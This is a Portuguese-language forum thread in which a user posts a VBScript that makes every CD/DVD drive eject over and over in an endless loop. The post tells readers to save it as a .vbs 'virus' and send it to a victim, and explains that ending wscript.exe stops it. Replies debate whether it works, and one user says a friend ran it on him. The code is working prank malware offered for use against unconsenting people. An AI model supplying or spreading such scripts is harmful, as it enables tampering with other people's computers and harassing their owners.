Faça Abrir e Fechar o drive de CD ou DVD

[~~Surfistinha~~ 13]

Faça Abrir e Fechar o drive de CD ou DVD!

'

Copie o código no bloco de notas e salve como NOME.vbs

Exemplo virus.vbs

 

 

Set oWMP = CreateObject("WMPlayer.OCX.7" )

Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then

do

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next ' cdrom

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next ' cdrom

loop

End If

 

 

Agora mande pra algum otário e o os drivers de CD e DVD da vítima vai ficar abrindo e fechando... ¬¬"

 

Se vc por idiotice ou por curiosidade cair na propria armadilha, é só ir no gerenciador de tarefas e finalizar o processo wscript.exe.

['[b]eto~ 0]

isso nein funciona :/

tentei comigo mesmo e com um amigo e nein deu :D

mais vlw a tentativa xD

[Akilleks~™ 0]

funciona sim.... meu amigo tava me mandando umonte de coisa, agente tava trocando arquivos que faziamos e o ***** me mandou isso que eu não conhecia..... meu dvd abriu e fechou durante ums 3 mim, até que eu desligue i o pc... pqp ausUHAhhuhaSUU

[korix 0]

o bang funfa memo vlw (y

['Surfistinha 0]

Fechado

 

Não resulcite topicos